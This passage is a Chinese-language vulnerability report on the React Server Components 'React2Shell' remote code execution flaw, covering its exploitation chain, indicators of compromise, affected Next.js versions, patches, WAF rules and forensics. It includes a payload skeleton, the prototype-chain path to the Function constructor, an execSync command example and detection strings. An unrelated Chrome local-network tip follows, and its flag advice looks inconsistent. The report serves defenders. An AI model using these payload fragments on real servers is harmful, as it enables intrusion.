  1. 构造伪造 Chunk:攻击者发送一个包含特定字段(如 statusvalue 等)的 JSON 对象,使其看起来像是一个合法的 React 内部数据块。最关键的是,攻击者在这个对象中定义了一个 then 属性。 根据公开的 PoC 分析,Payload 结构可能如下所示:
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "value": "..."
    }
    
    这里,then 属性并没有指向一个函数,而是利用了 Flight 协议的引用语法($ReferenceId:Path),指向了原型链上的 then 方法。
  2. 触发反序列化逻辑:当 React 服务器接收到此 Payload 并进行反序列化时,它会识别出这是一个“异步”依赖,并尝试通过调用 .then() 来解析它。由于攻击者通过引用语法操纵了 .then 的指向,这一调用实际上将控制权交给了攻击者指定的代码路径。
  3. 原型链遍历:攻击者利用 Flight 协议允许属性访问的特性(如 Reference:Key),通过构造类似 $1:constructor:constructor 的引用路径,成功跳出了当前模块的上下文。
    • $1:引用某个基础对象。
    • .constructor:访问该对象的构造函数。
    • .constructor(再次):访问构造函数的构造函数,在 JavaScript 中,这通常会返回全局的 Function 构造器。
  4. 任意代码执行:一旦获取了全局 Function 构造器的引用,攻击者就可以利用它来动态生成并执行任意 JavaScript 代码。在 Payload 中,攻击者会将恶意指令(如 process.mainModule.require('child_process').execSync('id'))作为参数传递给这个构造出的函数,从而在服务器上执行系统命令。

3.2 为什么 Next.js 默认配置受影响?

Next.js(特别是使用 App Router 的版本)深度集成了 React Server Components。在默认配置下,Next.js 会自动处理发送到 Server Components 的 POST 请求。即使开发者没有显式定义 Server Actions,只要应用使用了 App Router,底层的 RSC 基础设施(即 react-server-dom-* 包)就已经处于活跃状态并监听网络请求。

这意味着攻击者不需要寻找特定的、开发者编写的有漏洞的代码端点。他们只需要向应用的任意页面路由发送特制的 HTTP 请求,就能触达底层的脆弱代码。这种“默认不安全”的特性是 CVE-2025-55182 如此危险的核心原因之一。

3.3 漏洞利用的先决条件与限制

虽然该漏洞被称为“完美利用”,但从技术角度看,仍存在极少的限制条件:

  • 网络可达性: 攻击者必须能够通过网络访问到托管 RSC 的端点。对于面向公网的 Web 应用,这通常不是障碍。
  • 版本匹配: 目标必须运行在受影响的 React 或 Next.js 版本上(详见后文受影响范围部分)。
  • 环境因素: 虽然 Payload 可以执行任意 JS 代码,但最终能否获得系统 Root 权限或横向移动,取决于 Node.js 进程本身的权限配置及容器环境的安全加固程度。

4. 全球威胁情报与攻击态势分析

在 CVE-2025-55182 披露后的极短时间内,全球网络安全态势发生了剧烈变化。该漏洞的高危特性使其迅速成为各大黑客组织的首选武器。

4.1 在野攻击特征与指标

安全研究人员通过蜜罐系统(如 AWS MadPot)捕获了大量针对 CVE-2025-55182 的攻击流量。以下是识别攻击活动的关键特征:

攻击阶段 技术指标 描述
侦察扫描 HTTP POST 请求 针对根路径或特定 RSC 端点的大量 POST 请求。
Payload 特征 $1:constructor 请求体中包含 Flight 协议特定的引用语法,试图访问构造函数。
Payload 特征 process.mainModule 尝试调用 Node.js 核心模块,通常用于加载 child_process
Payload 特征 _formData 利用 FormData 结构伪造内部对象属性。
后续行为 命令执行:whoami, id, uname 典型的初始权限确认命令。
后续行为 文件操作:/tmp/pwned.txt 攻击者常在 /tmp 目录写入标记文件以验证写入权限。
后续行为 文件读取:/etc/passwd 尝试读取系统用户列表。
网络行为 异常出站连接 服务器向未知 IP 发起连接,可能是反弹 Shell 或下载第二阶段 Payload。
日志异常 HTTP 500 错误激增 失败的利用尝试往往会导致服务器端抛出未处理的异常,导致 500 错误率显著上升。

4.2 自动化工具的泛滥

GitHub 等平台上已出现了多个针对该漏洞的扫描器和概念验证(PoC)代码,如 react2shell-scanner。虽然这些工具初衷是为了帮助防御者自查,但它们无疑也降低了攻击者的技术门槛,导致了大量“脚本小子”式的机会主义攻击。攻击者正在使用这些工具对全网 IPv4 地址段进行大规模扫射,寻找未修补的服务器。

5. 受影响生态系统与版本全景

CVE-2025-55182 的影响范围之广,涵盖了从底层库到上层框架的整个 React 技术栈。由于现代前端开发的模块化特性,许多开发者可能并未意识到自己正在使用受影响的组件。

5.1 核心受影响组件

漏洞直接存在于以下 React Server DOM 包中:

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

受影响版本范围:

  • 19.0.0
  • 19.1.0, 19.1.1
  • 19.2.0

5.2 Next.js 受影响版本矩阵

Next.js 是受影响最严重的下游框架,因为它在 App Router 中默认使用了上述包。此前 Next.js 发布的 CVE-2025-66478 已被确认为 CVE-2025-55182 的重复项。

以下 Next.js 版本(使用 App Router)均受影响:

主要版本线 受影响版本区间
Next.js 15.0 15.0.0 至 15.0.4
Next.js 15.1 15.1.0 至 15.1.8
Next.js 15.2 15.2.0 至 15.2.5
Next.js 15.3 15.3.0 至 15.3.5
Next.js 15.4 15.4.0 至 15.4.7
Next.js 15.5 15.5.0 至 15.5.6
Next.js 16.0 16.0.0 至 16.0.6
Next.js Canary 14.3.0-canary.77 及之后的 Canary 版本

注意: Next.js 14.x(稳定版)、Next.js 13.x 以及仅使用 Pages Router 的应用不受影响

5.3 其他受影响框架

除了 Next.js,凡是依赖 RSC 实现的框架均在打击范围内:

  • React Router: 若使用了实验性的 RSC API,则受影响。
  • Waku: 所有 v0.27.2 之前的版本。
  • RedwoodJS: 使用 RSC 功能的版本。
  • Vite / Parcel 插件: 使用了 @vitejs/plugin-rsc@parcel/rsc 的项目。
  • Shopify Hydrogen: 作为基于 React 的电商框架,如果其底层依赖了上述受影响的 React 版本,同样面临风险。

6. 全链路修复与防御指南

面对如此高危的漏洞,企业安全团队必须采取迅速且果断的行动。修复工作不能仅停留在“打补丁”层面,而应构建纵深防御体系。

6.1 核心修复策略:版本升级

这是消除漏洞的唯一根本途径。请务必根据您的技术栈选择正确的升级路径。

6.1.1 Next.js 升级指南

开发者应立即检查 package.json 并将 next 依赖升级到以下安全版本(或更高):

版本线 最低安全版本 升级命令
v15.0.x 15.0.5 npm install next@15.0.5
v15.1.x 15.1.9 npm install next@15.1.9
v15.2.x 15.2.6 npm install next@15.2.6
v15.3.x 15.3.6 npm install next@15.3.6
v15.4.x 15.4.8 npm install next@15.4.8
v15.5.x 15.5.7 npm install next@15.5.7
v16.0.x 16.0.7 npm install next@16.0.7

对于使用 Canary 版本的用户,建议降级回 Next.js 14 稳定版,除非有特定的 Canary 修复版本可用(如 15.6.0-canary.58 或 16.1.0-canary.12)。

关键操作提示: 升级依赖后,必须执行完全重新构建重新部署整个应用。仅修改 package.jsonnode_modules 是不够的,因为 Next.js 的构建产物中可能内联了旧版的漏洞代码。

6.1.2 React 19 (独立使用) 升级指南

如果您的项目直接依赖 React 19 而非通过框架,请升级以下包至安全版本:

  • 安全版本: 19.0.1, 19.1.2, 19.2.1
  • 执行命令:
    npm install react@latest react-dom@latest react-server-dom-webpack@latest
    
    (若使用 Parcel 或 Turbopack,请替换对应的 react-server-dom-* 包名)

6.1.3 Waku 与 RedwoodJS 升级

  • Waku: 升级至 v0.27.2 或更高版本,并确保通过 overridesresolutions 强制更新内部的 React 依赖。
  • RedwoodJS: 升级至最新的补丁版本,确保 rwsdk 版本 >= 1.0.0-alpha.0。

6.2 临时缓解与边界防御

在无法立即完成代码升级和部署的窗口期,必须在网络边界实施拦截。

6.2.1 Web 应用防火墙 (WAF) 策略

  • AWS WAF: 启用 AWSManagedRulesKnownBadInputsRuleSet 托管规则集(确保版本为 1.24 或更高)。AWS 已针对此漏洞更新了规则,能够识别恶意的 Flight 协议 Payload。
  • F5 BIG-IP / NGINX: F5 已发布攻击签名 ID 200204048(React Server Components RCE)。请确保 ASM 攻击签名库已更新至 20251204_021602 或更高,并将该签名设为“阻断”模式。
  • Cloudflare / Vercel WAF: 这些平台已自动部署了针对 CVE-2025-55182 的规则,为托管在其上的应用提供默认保护。
  • 自定义规则建议: 如果使用自建 WAF(如 ModSecurity),应重点检测请求体中是否包含以下特征字符串:
    • $1:constructor
    • $1:__proto__
    • process.mainModule
    • child_process

6.2.2 运行时应用防护

  • 禁用 Server Actions: 虽然不能完全消除风险,但在 next.config.js 中禁用 Server Actions 可以减少攻击面。但请注意,只要 RSC 功能开启,风险依然存在。
  • RASP(Runtime Application Self-Protection): 部署 RASP 解决方案可以监控 Node.js 进程的行为。配置策略以禁止 Web 进程派生 Shell(如 /bin/sh, cmd.exe)或发起异常的网络连接。

6.3 调查与取证

修复漏洞后,必须假设系统可能已被入侵,并进行彻底排查。

  1. 日志审计: 检查 Web 访问日志,寻找 HTTP 500 错误峰值,以及来自未知 IP 的异常 POST 请求。重点关注请求体中包含 JSON 特殊字符或 Flight 协议标记的请求。
  2. 文件系统完整性检查: 扫描服务器文件系统,特别是 /tmp/var/tmp 和应用根目录,查找近期创建的可疑脚本、WebShell 或标记文件(如 pwned.txt)。
  3. 进程监控: 检查正在运行的进程树。正常的 Node.js 应用不应作为父进程启动 curlwgetpython 或加密货币挖矿程序。
  4. 云环境审计: 如果应用部署在 AWS/Azure/GCP 上,检查 CloudTrail 或审计日志,确认是否有异常的 IAM 角色调用、元数据服务访问记录或未授权的资源创建行为。

7. 结论与未来展望

CVE-2025-55182 "React2Shell" 的爆发再次提醒我们,软件供应链安全不仅关乎第三方库的漏洞,更关乎核心架构设计的安全性。React Server Components 模糊了前后端的边界,虽然带来了开发效率和性能的提升,但也引入了更为复杂的攻击面。

对于企业而言,此次事件不仅是一次安全应急响应的考验,更是对现有 DevSecOps 流程的检验。能够快速生成准确的 SBOM(软件物料清单)、拥有自动化依赖更新机制以及部署了多层纵深防御体系的企业,才能在面对此类 "核弹级" 漏洞时从容应对。

建议所有相关方立即执行本报告中的修复方案,并持续关注 React 与 Next.js 团队发布的后续安全公告,以防御可能出现的变种攻击。

🔥🔥新版本Chrome谷歌浏览器访问本地网络请求报跨域无法正常访问

作者 同学80796
2025年12月8日 10:40

问题描述

在使用谷歌浏览器访问本地网络请求时,遇到跨域请求被阻止的问题,导致无法正常获取数据。

原因分析

Chrome 138开始,新增了本地网络访问权限提示,Chrome 正在为根据本地网络访问规范连接到用户本地网络的网站添加新的权限提示。此举旨在保护用户免遭针对专用网络上的路由器和其他设备的跨站请求伪造 (CSRF) 攻击,并降低网站利用这些请求对用户本地网络进行指纹识别的能力。

更新日志:developer.chrome.com/blog/local-…

如果你不小心选择了屏蔽,那么该网址下的本地网络请求将会被阻止报跨域错误。

解决方案

1. 弹出查找并连接到本地网络上的任何设备时,点击允许。

2. 如果你不小心选择了屏蔽,那么需求更改浏览器设置,步骤如下:

1)设置-隐私设置和安全性-网站设置-权限-更多权限-本地网络访问权限(最后一个)

2)网站会在您访问时自动采用此设置中选择【网站可以请求连接到本地网络上的任何设备】

3)在不得连接到本地网络上的任何设备列表中移除对应网址即可。

也可以按照谷歌日志文档解决:

1. 浏览器输入:chrome://flags#local-network-access-check

2. Local Network Access Checks中选择Enabled

3. 重启谷歌浏览器即可

❌
❌